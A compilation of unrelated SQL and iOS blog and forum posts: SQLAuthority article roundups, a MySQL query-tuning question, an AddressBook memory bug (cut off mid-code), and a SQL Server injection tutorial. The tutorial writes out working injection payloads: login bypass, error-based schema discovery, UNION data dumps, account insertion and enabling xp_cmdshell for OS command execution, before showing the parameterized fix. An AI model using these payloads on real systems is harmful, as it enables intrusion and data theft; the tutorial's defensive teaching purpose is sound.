    Here is the list of curetted articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2006 This was the first year of my blogging and lots of new things I was learning as I go. I was indeed an infant in blogging a few years ago. However, as time passed by I have learned a lot. This year was year of experiments and new learning. 2007 Working as a full time DBA I often encoutered various errors and I started to learn how to avoid those error and document the same. ERROR Msg 5174 Each file size must be greater than or equal to 512 KB Whenever I see this error I wonder why someone is trying to attempt a database which is extremely small. Anyway, it does not matter what I think I keep on seeing this error often in industries. Anyway the solution of the error is equally interesting – just created larger database. Dilbert Humor This was very first encounter with database humor and I started to love it. It does not matter how many time we read this cartoon it does not get old. Generate Script with Data from Database – Database Publishing Wizard Generating schema script with data is one of the most frequently performed tasks among SQL Server Data Professionals. There are many ways to do the same. In the above article I demonstrated that how we can use the Database Publishing Wizard to accomplish the same. It was new to me at that time but I have not seen much of the adoption of the same still in the industry. Here is one of my videos where I demonstrate how we can generate data with schema. 2008 Delete Backup History – Cleanup Backup History Deleting backup history is important too but should be done carefully. If this is not carried out at regular interval there is good chance that MSDB will be filled up with all the old history. Every organization is different. Some would like to keep the history for 30 days and some for a year but there should be some limit. One should regularly archive the database backup history. South Asia MVP Open Days 2008 This was my very first year Microsoft MVP. I had Indeed big blast at the event and the fun was incredible. After this event I have attended many different MVP events but the fun and learning this particular event presented was amazing and just like me many others are not able to forget the same. Here are other links related to the event: South Asia MVP Open Day 2008 – Goa South Asia MVP Open Day 2008 – Goa – Day 1 South Asia MVP Open Day 2008 – Goa – Day 2 South Asia MVP Open Day 2008 – Goa – Day 3 2009 Enable or Disable Constraint  This is very simple script but I personally keep on forgetting it so I had blogged it. Till today, I keep on referencing this again and again as sometime a very little thing is hard to remember. Policy Based Management – Create, Evaluate and Fix Policies This article will cover the most spectacular feature of SQL 2008 – Policy-based management and how the configuration of SQL Server with policy-based management architecture can make a powerful difference. Policy based management is loaded with several advantages. It can help you implement various policies for reliable configuration of the system. It also provides additional administrative assistance to DBAs and helps them effortlessly manage various tasks of SQL Server across the enterprise. SQLPASS 2009 – My Very First SQPASS Experience Just Brilliant! I never had an experience such a thing in my life. SQL SQL and SQL – all around SQL! I am listing my own reasons here in order of importance to me. Networking with SQL fellows and experts Putting face to the name or avatar Learning and improving my SQL skills Understanding the structure of the largest SQL Server Professional Association Attending my favorite training sessions Since last time I have never missed a single time this event. This event is my favorite event and something keeps me going. Here are additional post related SQLPASS 2009. SQL PASS Summit, Seattle 2009 – Day 1 SQL PASS Summit, Seattle 2009 – Day 2 SQL PASS Summit, Seattle 2009 – Day 3 SQL PASS Summit, Seattle 2009 – Day 4 2010 Get All the Information of Database using sys.databases Even though we believe that we know everything about our database, we do not know a lot of things about our database. This little script enables us to know so many details about databases which we may not be familiar with. Run this on your server today and see how much you know your database. Reducing CXPACKET Wait Stats for High Transactional Database While engaging in a performance tuning consultation for a client, a situation occurred where they were facing a lot of CXPACKET Waits Stats. The client asked me if I could help them reduce this huge number of wait stats. I usually receive this kind of request from other client as well, but the important thing to understand is whether this question has any merits or benefits, or not. I discusses the same in this article – a bit long but insightful for sure. Error related to Database in Use There are so many database management operations in SQL Server which requires exclusive access to the database and it is not always possible to get it. When any database is online in SQL Server it either applications or system thread often accesses them. This means database can’t have exclusive access and the operations which required this access throws an error. There is very easy method to overcome this minor issue – a single line script can give you exclusive access to the database. Difference between DATETIME and DATETIME2 Developers have found the root reason of the problem when dealing with Date Functions – when data time values are converted (implicit or explicit) between different data types, which would lose some precision, so the result cannot match each other as expected. In this blog post I go over very interesting details and difference between DATETIME and DATETIME2 History of SQL Server Database Encryption I recently met Michael Coles and Rodeney Landrum the author of one of the kind book Expert SQL Server 2008 Encryption at SQLPASS in Seattle. During the conversation we ended up how Microsoft is evolving encryption technology. The same discussion lead to talking about history of encryption tools in SQL Server. Michale pointed me to page 18 of his book of encryption. He explicitly gave me permission to re-produce relevant part of history from his book. 2011 Functions FIRST_VALUE and LAST_VALUE with OVER clause and ORDER BY Some time an interesting feature and smart audience make a total difference in places. From last two days, I have been writing on SQL Server 2012 feature FIRST_VALUE and LAST_VALUE. I created a puzzle which was very interesting and got many people attempt to resolve it. It was based on following two articles: Introduction to FIRST_VALUE and LAST_VALUE Introduction to FIRST_VALUE and LAST_VALUE with OVER clause I even provided the hint about how one can solve this problem. The best part was many people solved the problem without using hints! Try your luck!  A Real Story of Book Getting ‘Out of Stock’ to A 25% Discount Story Available This is a great problem and everybody would love to have it. We had it and we loved it. Our book got out of stock in 48 hours of releasing and stocks were empty. We faced many issues and learned many valuable lessons. Some we were able to avoid in the future and some we are still facing it as those problems have no solutions. However, since that day – our books never gone out of stock. This inspiring learning story for us and I am confident that you will love to read it as well. Introduction to LEAD and LAG – Analytic Functions Introduced in SQL Server 2012 SQL Server 2012 introduces new analytical function LEAD() and LAG(). This function accesses data from a subsequent row (for lead) and previous row (for lag) in the same result set without the use of a self-join . It will be very difficult to explain this in words so I will attempt small example to explain you this function. I had a fantastic time writing this blog post and I am very confident when you read it, you will like the same. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • SQL SERVER – Weekly Series – Memory Lane – #049

    - by Pinal Dave
    Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 Two Connections Related Global Variables Explained – @@CONNECTIONS and @@MAX_CONNECTIONS @@CONNECTIONS Returns the number of attempted connections, either successful or unsuccessful since SQL Server was last started. @@MAX_CONNECTIONS Returns the maximum number of simultaneous user connections allowed on an instance of SQL Server. The number returned is not necessarily the number currently configured. Query Editor – Microsoft SQL Server Management Studio This post may be very simple for most of the users of SQL Server 2005. Earlier this year, I have received one question many times – Where is Query Analyzer in SQL Server 2005? I wrote small post about it and pointed many users to that post – SQL SERVER – 2005 Query Analyzer – Microsoft SQL SERVER Management Studio. Recently I have been receiving similar question. OUTPUT Clause Example and Explanation with INSERT, UPDATE, DELETE SQL Server 2005 has a new OUTPUT clause, which is quite useful. OUTPUT clause has access to insert and deleted tables (virtual tables) just like triggers. OUTPUT clause can be used to return values to client clause. OUTPUT clause can be used with INSERT, UPDATE, or DELETE to identify the actual rows affected by these statements. OUTPUT clause can generate a table variable, a permanent table, or temporary table. Even though, @@Identity will still work with SQL Server 2005, however I find the OUTPUT clause very easy and powerful to use. Let us understand the OUTPUT clause using an example. Find Name of The SQL Server Instance Based on database server stored procedures has to run different logic. We came up with two different solutions. 1) When database schema is very much changed, we wrote completely new stored procedure and deprecated older version once it was not needed. 2) When logic depended on Server Name we used global variable @@SERVERNAME. It was very convenient while writing migrating script which depended on the server name for the same database. Explanation of TRY…CATCH and ERROR Handling With RAISEERROR Function One of the developers at my company thought that we can not use the RAISEERROR function in new feature of SQL Server 2005 TRY… CATCH. When asked for an explanation he suggested SQL SERVER – 2005 Explanation of TRY… CATCH and ERROR Handling article as excuse suggesting that I did not give example of RAISEERROR with TRY…CATCH. We all thought it was funny. Just to keep records straight, TRY… CATCH can sure use RAISEERROR function. Different Types of Cache Objects Serveral kinds of objects can be stored in the procedure cache: Compiled Plans: When the query optimizer finishes compiling a query plan, the principal output is compiled plan. Execution contexts: While executing a compiled plan, SQL Server has to keep track of information about the state of execution. Cursors: Cursors track the execution state of server-side cursors, including the cursor’s current location within a resultset. Algebrizer trees: The Algebrizer’s job is to produce an algebrizer tree, which represents the logic structure of a query. Open SSMS From Command Prompt – sqlwb.exe Example This article is written by request and suggestion of Sr. Web Developer at my organization. Due to the nature of this article most of the content is referred from Book On-Line. sqlwbcommand prompt utility which opens SQL Server Management Studio. Squib command does not run queries from the command prompt. sqlcmd utility runs queries from command prompt, read for more information. 2008 Puzzle – Solution – Computed Columns Datatype Explanation Just a day before I wrote article SQL SERVER – Puzzle – Computed Columns Datatype Explanation which was inspired by SQL Server MVP Jacob Sebastian. I suggest that before continuing this article read the original puzzle question SQL SERVER – Puzzle – Computed Columns Datatype Explanation.The question was if the computed column was of datatype TINYINT how to create a Computed Column of datatype INT? 2008 – Find If Index is Being Used in Database It is very often I get a query that how to find if any index is being used in the database or not. If any database has many indexes and not all indexes are used it can adversely affect performance. If the number of indices are higher it reduces the INSERT / UPDATE / DELETE operation but increase the SELECT operation. It is recommended to drop any unused indexes from table to improve the performance. 2009 Interesting Observation – Execution Plan and Results of Aggregate Concatenation Queries If you want to see what’s going on here, I think you need to shift your point of view from an implementation-centric view to an ANSI point of view. ANSI does not guarantee processing the order. Figure 2 is interesting, but it will be potentially misleading if you don’t understand the ANSI rule-set SQL Server operates under in most cases. Implementation thinking can certainly be useful at times when you really need that multi-million row query to finish before the backup fire off, but in this case, it’s counterproductive to understanding what is going on. SQL Server Management Studio and Client Statistics Client Statistics are very important. Many a times, people relate queries execution plan to query cost. This is not a good comparison. Both parameters are different, and they are not always related. It is possible that the query cost of any statement is less, but the amount of the data returned is considerably larger, which is causing any query to run slow. How do we know if any query is retrieving a large amount data or very little data? 2010 I encourage all of you to go through complete series and write your own on the subject. If you write an article and send it to me, I will publish it on this blog with due credit to you. If you write on your own blog, I will update this blog post pointing to your blog post. SQL SERVER – ORDER BY Does Not Work – Limitation of the View 1 SQL SERVER – Adding Column is Expensive by Joining Table Outside View – Limitation of the View 2 SQL SERVER – Index Created on View not Used Often – Limitation of the View 3 SQL SERVER – SELECT * and Adding Column Issue in View – Limitation of the View 4 SQL SERVER – COUNT(*) Not Allowed but COUNT_BIG(*) Allowed – Limitation of the View 5 SQL SERVER – UNION Not Allowed but OR Allowed in Index View – Limitation of the View 6 SQL SERVER – Cross Database Queries Not Allowed in Indexed View – Limitation of the View 7 SQL SERVER – Outer Join Not Allowed in Indexed Views – Limitation of the View 8 SQL SERVER – SELF JOIN Not Allowed in Indexed View – Limitation of the View 9 SQL SERVER – Keywords View Definition Must Not Contain for Indexed View – Limitation of the View 10 SQL SERVER – View Over the View Not Possible with Index View – Limitations of the View 11 SQL SERVER – Get Query Running in Session I was recently looking for syntax where I needed a query running in any particular session. I always remembered the syntax and ha d actually written it down before, but somehow it was not coming to mind quickly this time. I searched online and I ended up on my own article written last year SQL SERVER – Get Last Running Query Based on SPID. I felt that I am getting old because I forgot this really simple syntax. Find Total Number of Transaction on Interval In one of my recent Performance Tuning assignments I was asked how do someone know how many transactions are happening on a server during certain interval. I had a handy script for the same. Following script displays transactions happened on the server at the interval of one minute. You can change the WAITFOR DELAY to any other interval and it should work. 2011 Here are two DMV’s which are newly introduced in SQL Server 2012 and provides vital information about SQL Server. DMV – sys.dm_os_volume_stats – Information about operating system volume DMV – sys.dm_os_windows_info – Information about Operating System SQL Backup and FTP – A Quick and Handy Tool I have used this tool extensively since 2009 at numerous occasion and found it to be very impressive. What separates it from the crowd the most – it is it’s apparent simplicity and speed. When I install SQLBackupAndFTP and configure backups – all in 1 or 2 minutes, my clients are always impressed. Quick Note about JOIN – Common Questions and Simple Answers In this blog post we are going to talk about join and lots of things related to the JOIN. I recently started office hours to answer questions and issues of the community. I receive so many questions that are related to JOIN. I will share a few of the same over here. Most of them are basic, but note that the basics are of great importance. 2012 Importance of User Without Login Question: “In recent version of SQL Server we can create user without login. What is the use of it?” Great question indeed. Let me first attempt to answer this question but after reading my answer I need your help. I want you to help him as well with adding more value to it. Preserve Leading Zero While Coping to Excel from SSMS Earlier I wrote two articles about how to efficiently copy data from SSMS to Excel. Since I wrote that post there are plenty of interest generated on this subject. There are a few questions I keep on getting over this subject. One of the question is how to get the leading zero preserved while copying the data from SSMS to Excel. Well it is almost the same way as my earlier post SQL SERVER – Excel Losing Decimal Values When Value Pasted from SSMS ResultSet. The key here is in EXCEL and not in SQL Server. Solution – 2 T-SQL Puzzles – Display Star and Shortest Code to Display 1 Earlier on this blog we had asked two puzzles. The response from all of you is nothing but Amazing. I have received 350+ responses. Many are valid and many were indeed something I had not thought about it. I strongly suggest you read all the puzzles and their answers here - trust me if you start reading the comments you will not stop till you read every single comment. Seriously trust me on it. Personally I have learned a lot from it. Identify Most Resource Intensive Queries – SQL in Sixty Seconds #028 – Video http://www.youtube.com/watch?v=TvlYy-TGaaA Importance of User Without Login – T-SQL Demo Script Earlier I wrote a blog post about SQL SERVER – Importance of User Without Login and my friend and SQL Expert Vinod Kumar has written excellent follow up blog post about Contained Databases inside SQL Server 2012. Now lots of people asked me if I can also explain the same concept again so here is the small demonstration for it. Let me show you how login without user can help. Before we continue on this subject I strongly recommend that you read my earlier blog post here. In following demo I am going to demonstrate following situation. Login using the System Admin account Create a user without login Checking Access Impersonate the user without login Checking Access Revert Impersonation Give Permission to user without login Impersonate the user without login Checking Access Revert Impersonation Clean up Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Memory Lane, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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  • Mysql - Help me change this single complex query to use temporary tables

    - by sandeepan-nath
    About the system: - There are tutors who create classes and packs - A tags based search approach is being followed.Tag relations are created when new tutors register and when tutors create packs (this makes tutors and packs searcheable). For details please check the section How tags work in this system? below. Following is the concerned query Can anybody help me suggest an approach using temporary tables. We have indexed all the relevant fields and it looks like this is the least time possible with this approach:- SELECT SUM(DISTINCT( t.tag LIKE "%Dictatorship%" OR tt.tag LIKE "%Dictatorship%" OR ttt.tag LIKE "%Dictatorship%" )) AS key_1_total_matches , SUM(DISTINCT( t.tag LIKE "%democracy%" OR tt.tag LIKE "%democracy%" OR ttt.tag LIKE "%democracy%" )) AS key_2_total_matches , COUNT(DISTINCT( od.id_od )) AS tutor_popularity, CASE WHEN ( IF(( wc.id_wc > 0 ), ( wc.wc_api_status = 1 AND wc.wc_type = 0 AND wc.class_date > '2010-06-01 22:00:56' AND wccp.status = 1 AND ( wccp.country_code = 'IE' OR wccp.country_code IN ( 'INT' ) ) ), 0) ) THEN 1 ELSE 0 END AS 'classes_published' , CASE WHEN ( IF(( lp.id_lp > 0 ), ( lp.id_status = 1 AND lp.published = 1 AND lpcp.status = 1 AND ( lpcp.country_code = 'IE' OR lpcp.country_code IN ( 'INT' ) ) ), 0) ) THEN 1 ELSE 0 END AS 'packs_published', td . *, u . * FROM tutor_details AS td JOIN users AS u ON u.id_user = td.id_user LEFT JOIN learning_packs_tag_relations AS lptagrels ON td.id_tutor = lptagrels.id_tutor LEFT JOIN learning_packs AS lp ON lptagrels.id_lp = lp.id_lp LEFT JOIN learning_packs_categories AS lpc ON lpc.id_lp_cat = lp.id_lp_cat LEFT JOIN learning_packs_categories AS lpcp ON lpcp.id_lp_cat = lpc.id_parent LEFT JOIN learning_pack_content AS lpct ON ( lp.id_lp = lpct.id_lp ) LEFT JOIN webclasses_tag_relations AS wtagrels ON td.id_tutor = wtagrels.id_tutor LEFT JOIN webclasses AS wc ON wtagrels.id_wc = wc.id_wc LEFT JOIN learning_packs_categories AS wcc ON wcc.id_lp_cat = wc.id_wp_cat LEFT JOIN learning_packs_categories AS wccp ON wccp.id_lp_cat = wcc.id_parent LEFT JOIN order_details AS od ON td.id_tutor = od.id_author LEFT JOIN orders AS o ON od.id_order = o.id_order LEFT JOIN tutors_tag_relations AS ttagrels ON td.id_tutor = ttagrels.id_tutor LEFT JOIN tags AS t ON t.id_tag = ttagrels.id_tag LEFT JOIN tags AS tt ON tt.id_tag = lptagrels.id_tag LEFT JOIN tags AS ttt ON ttt.id_tag = wtagrels.id_tag WHERE ( u.country = 'IE' OR u.country IN ( 'INT' ) ) AND CASE WHEN ( ( tt.id_tag = lptagrels.id_tag ) AND ( lp.id_lp > 0 ) ) THEN lp.id_status = 1 AND lp.published = 1 AND lpcp.status = 1 AND ( lpcp.country_code = 'IE' OR lpcp.country_code IN ( 'INT' ) ) ELSE 1 END AND CASE WHEN ( ( ttt.id_tag = wtagrels.id_tag ) AND ( wc.id_wc > 0 ) ) THEN wc.wc_api_status = 1 AND wc.wc_type = 0 AND wc.class_date > '2010-06-01 22:00:56' AND wccp.status = 1 AND ( wccp.country_code = 'IE' OR wccp.country_code IN ( 'INT' ) ) ELSE 1 END AND CASE WHEN ( od.id_od > 0 ) THEN od.id_author = td.id_tutor AND o.order_status = 'paid' AND CASE WHEN ( od.id_wc > 0 ) THEN od.can_attend_class = 1 ELSE 1 END ELSE 1 END AND ( t.tag LIKE "%Dictatorship%" OR t.tag LIKE "%democracy%" OR tt.tag LIKE "%Dictatorship%" OR tt.tag LIKE "%democracy%" OR ttt.tag LIKE "%Dictatorship%" OR ttt.tag LIKE "%democracy%" ) GROUP BY td.id_tutor HAVING key_1_total_matches = 1 AND key_2_total_matches = 1 ORDER BY tutor_popularity DESC, u.surname ASC, u.name ASC LIMIT 0, 20 The problem The results returned by the above query are correct (AND logic working as per expectation), but the time taken by the query rises alarmingly for heavier data and for the current data I have it is like 10 seconds as against normal query timings of the order of 0.005 - 0.0002 seconds, which makes it totally unusable. Somebody suggested in my previous question to do the following:- create a temporary table and insert here all relevant data that might end up in the final result set run several updates on this table, joining the required tables one at a time instead of all of them at the same time finally perform a query on this temporary table to extract the end result All this was done in a stored procedure, the end result has passed unit tests, and is blazing fast. I have never worked with temporary tables till now. Only if I could get some hints, kind of schematic representations so that I can start with... Is there something faulty with the query? What can be the reason behind 10+ seconds of execution time? How tags work in this system? When a tutor registers, tags are entered and tag relations are created with respect to tutor's details like name, surname etc. When a Tutors create packs, again tags are entered and tag relations are created with respect to pack's details like pack name, description etc. tag relations for tutors stored in tutors_tag_relations and those for packs stored in learning_packs_tag_relations. All individual tags are stored in tags table. The explain query output:- Please see this screenshot - http://www.test.examvillage.com/Explain_query_improved.jpg

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  • Reading email address from contacts fails with weird memory issue - Solved

    - by CapsicumDreams
    Hi all, I'm stumped. I'm trying to get a list of all the email address a person has. I'm using the ABPeoplePickerNavigationController to select the person, which all seems fine. I'm setting my ABRecordRef personDealingWith; from the person argument to - (BOOL)peoplePickerNavigationController:(ABPeoplePickerNavigationController *)peoplePicker shouldContinueAfterSelectingPerson:(ABRecordRef)person property:(ABPropertyID)property identifier:(ABMultiValueIdentifier)identifier { and everything seems fine up till this point. The first time the following code executes, all is well. When subsequently run, I can get issues. First, the code: // following line seems to make the difference (issue 1) // NSLog(@"%d", ABMultiValueGetCount(ABRecordCopyValue(personDealingWith, kABPersonEmailProperty))); // construct array of emails ABMultiValueRef multi = ABRecordCopyValue(personDealingWith, kABPersonEmailProperty); CFIndex emailCount = ABMultiValueGetCount(multi); if (emailCount > 0) { // collect all emails in array for (CFIndex i = 0; i < emailCount; i++) { CFStringRef emailRef = ABMultiValueCopyValueAtIndex(multi, i); [emailArray addObject:(NSString *)emailRef]; CFRelease(emailRef); } } // following line also matters (issue 2) CFRelease(multi); If compiled as written, the are no errors or static analysis problems. This crashes with a *** -[Not A Type retain]: message sent to deallocated instance 0x4e9dc60 error. But wait, there's more! I can fix it in either of two ways. Firstly, I can uncomment the NSLog at the top of the function. I get a leak from the NSLog's ABRecordCopyValue every time through, but the code seems to run fine. Also, I can comment out the CFRelease(multi); at the end, which does exactly the same thing. Static compilation errors, but running code. So without a leak, this function crashes. To prevent a crash, I need to haemorrhage memory. Neither is a great solution. Can anyone point out what's going on? Solution: It turned out that I wasn't storing the ABRecordRef personDealingWith var correctly. I'm still not sure how to do that properly, but instead of having the functionality in another routine (performed later), I'm now doing the grunt-work in the delegate method, and using the derived results at my leisure. The new (working) routine: - (BOOL)peoplePickerNavigationController:(ABPeoplePickerNavigationController *)peoplePicker shouldContinueAfterSelectingPerson:(ABRecordRef)person { // as soon as they select someone, return personDealingWithFullName = (NSString *)ABRecordCopyCompositeName(person); personDealingWithFirstName = (NSString *)ABRecordCopyValue(person, kABPersonFirstNameProperty); // construct array of emails [personDealingWithEmails removeAllObjects]; ABMutableMultiValueRef multi = ABRecordCopyValue(person, kABPersonEmailProperty); if (ABMultiValueGetCount(multi) > 0) { // collect all emails in array for (CFIndex i = 0; i < ABMultiValueGetCount(multi); i++) { CFStringRef emailRef = ABMultiValueCopyValueAtIndex(multi, i); [personDealingWithEmails 